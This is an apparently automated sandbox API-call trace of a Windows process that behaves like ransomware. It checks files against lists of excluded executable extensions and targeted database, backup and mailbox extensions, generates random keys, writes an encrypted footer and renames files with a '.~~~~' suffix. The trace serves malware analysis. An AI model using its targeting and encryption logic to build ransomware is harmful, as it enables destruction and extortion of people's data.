	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.116] lstrlenW (lpString=".ndf") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.116] lstrlenW (lpString=".DB") returned 3
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.116] lstrlenW (lpString=".sql") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.116] lstrlenW (lpString=".MYD") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.116] lstrlenW (lpString=".DBT") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.116] lstrlenW (lpString=".ACCDB") returned 6
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.117] lstrlenW (lpString=".fdb") returned 4
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.117] lstrlenW (lpString=".bak") returned 4
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.117] lstrlenW (lpString=".myd") returned 4
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.117] lstrlenW (lpString=".DTXS") returned 5
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.117] lstrlenW (lpString=".ckp") returned 4
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.117] lstrlenW (lpString=".dbt") returned 4
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.117] lstrlenW (lpString=".db") returned 3
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.117] lstrlenW (lpString=".TXT") returned 4
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.117] lstrlenW (lpString=".MDF") returned 4
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.117] lstrlenW (lpString=".bdb") returned 4
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.117] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0083.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.117] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.119] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.119] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20310891127) returned 1
	[0083.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9b5ff830, dwHighDateTime=0x1d60e1e)) 
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac660
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac660 | out: hHeap=0x300000) returned 1
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aab98
	[0083.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0083.119] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.120] GetLastError () returned 0x0
	[0083.120] GetLastError () returned 0x0
	[0083.120] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.120] GetLastError () returned 0x0
	[0083.120] GetLastError () returned 0x0
	[0083.124] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff4e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.124] WriteFile (in: hFile=0x11c, lpBuffer=0x2856fe8*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesWritten=0x1f8fec0*=0xb20, lpOverlapped=0x0) returned 1
	[0083.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2856fe8 | out: hHeap=0x300000) returned 1
	[0083.124] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.124] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.124] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.124] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.125] CloseHandle (hObject=0x11c) returned 1
	[0083.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.125] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.~~~~")) returned 1
	[0083.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.126] GetLastError () returned 0x0
	[0083.126] RtlWakeConditionVariable () returned 0x365f70
	[0083.126] GetCurrentThreadId () returned 0xaf0
	[0083.126] GetCurrentThreadId () returned 0xaf0
	[0083.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28078b0 | out: hHeap=0x300000) returned 1
	[0083.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac628 | out: hHeap=0x300000) returned 1
	[0083.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28078b0
	[0083.126] lstrlenW (lpString=".scr") returned 4
	[0083.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.126] lstrlenW (lpString=".cmd") returned 4
	[0083.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.126] lstrlenW (lpString=".dll") returned 4
	[0083.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.126] lstrlenW (lpString=".bat") returned 4
	[0083.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.126] lstrlenW (lpString=".cpl") returned 4
	[0083.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.127] lstrlenW (lpString=".sys") returned 4
	[0083.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.127] lstrlenW (lpString=".msc") returned 4
	[0083.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.127] lstrlenW (lpString=".com") returned 4
	[0083.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.127] lstrlenW (lpString=".lnk") returned 4
	[0083.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.127] lstrlenW (lpString=".msp") returned 4
	[0083.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.127] lstrlenW (lpString=".pif") returned 4
	[0083.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.127] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.128] lstrlenW (lpString=".sqb") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.128] lstrlenW (lpString=".ost") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.128] lstrlenW (lpString=".txt") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.128] lstrlenW (lpString=".mdt") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.128] lstrlenW (lpString=".BDB") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.128] lstrlenW (lpString=".eql") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.128] lstrlenW (lpString=".DBF") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.128] lstrlenW (lpString=".EQL") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.128] lstrlenW (lpString=".FDB") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.128] lstrlenW (lpString=".EDB") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.128] lstrlenW (lpString=".DACPAC") returned 7
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.128] lstrlenW (lpString=".VHD") returned 4
	[0083.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.128] lstrlenW (lpString=".DBV") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.129] lstrlenW (lpString=".dacpac") returned 7
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.129] lstrlenW (lpString=".sdf") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.129] lstrlenW (lpString=".accdb") returned 6
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.129] lstrlenW (lpString=".DBX") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.129] lstrlenW (lpString=".MDT") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.129] lstrlenW (lpString=".SQB") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.129] lstrlenW (lpString=".vhd") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.129] lstrlenW (lpString=".bac") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.129] lstrlenW (lpString=".mdf") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.129] lstrlenW (lpString=".BAK") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.129] lstrlenW (lpString=".BAC") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.129] lstrlenW (lpString=".dbs") returned 4
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.129] lstrlenW (lpString=".vhdx") returned 5
	[0083.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.130] lstrlenW (lpString=".NDF") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.130] lstrlenW (lpString=".dat") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.130] lstrlenW (lpString=".DBS") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.130] lstrlenW (lpString=".CKP") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.130] lstrlenW (lpString=".edb") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.130] lstrlenW (lpString=".PST") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.130] lstrlenW (lpString=".dbf") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.130] lstrlenW (lpString=".SQL") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.130] lstrlenW (lpString=".pst") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.130] lstrlenW (lpString=".dbv") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.130] lstrlenW (lpString=".SDF") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.130] lstrlenW (lpString=".dtxs") returned 5
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.130] lstrlenW (lpString=".db3") returned 4
	[0083.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.130] lstrlenW (lpString=".OST") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.131] lstrlenW (lpString=".dbx") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.131] lstrlenW (lpString=".DB3") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.131] lstrlenW (lpString=".DAT") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.131] lstrlenW (lpString=".VHDX") returned 5
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.131] lstrlenW (lpString=".ndf") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.131] lstrlenW (lpString=".DB") returned 3
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.131] lstrlenW (lpString=".sql") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.131] lstrlenW (lpString=".MYD") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.131] lstrlenW (lpString=".DBT") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.131] lstrlenW (lpString=".ACCDB") returned 6
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.131] lstrlenW (lpString=".fdb") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.131] lstrlenW (lpString=".bak") returned 4
	[0083.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.132] lstrlenW (lpString=".myd") returned 4
	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.132] lstrlenW (lpString=".DTXS") returned 5
	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.132] lstrlenW (lpString=".ckp") returned 4
	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.132] lstrlenW (lpString=".dbt") returned 4
	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.132] lstrlenW (lpString=".db") returned 3
	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.132] lstrlenW (lpString=".TXT") returned 4
	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.132] lstrlenW (lpString=".MDF") returned 4
	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.132] lstrlenW (lpString=".bdb") returned 4
	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.132] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
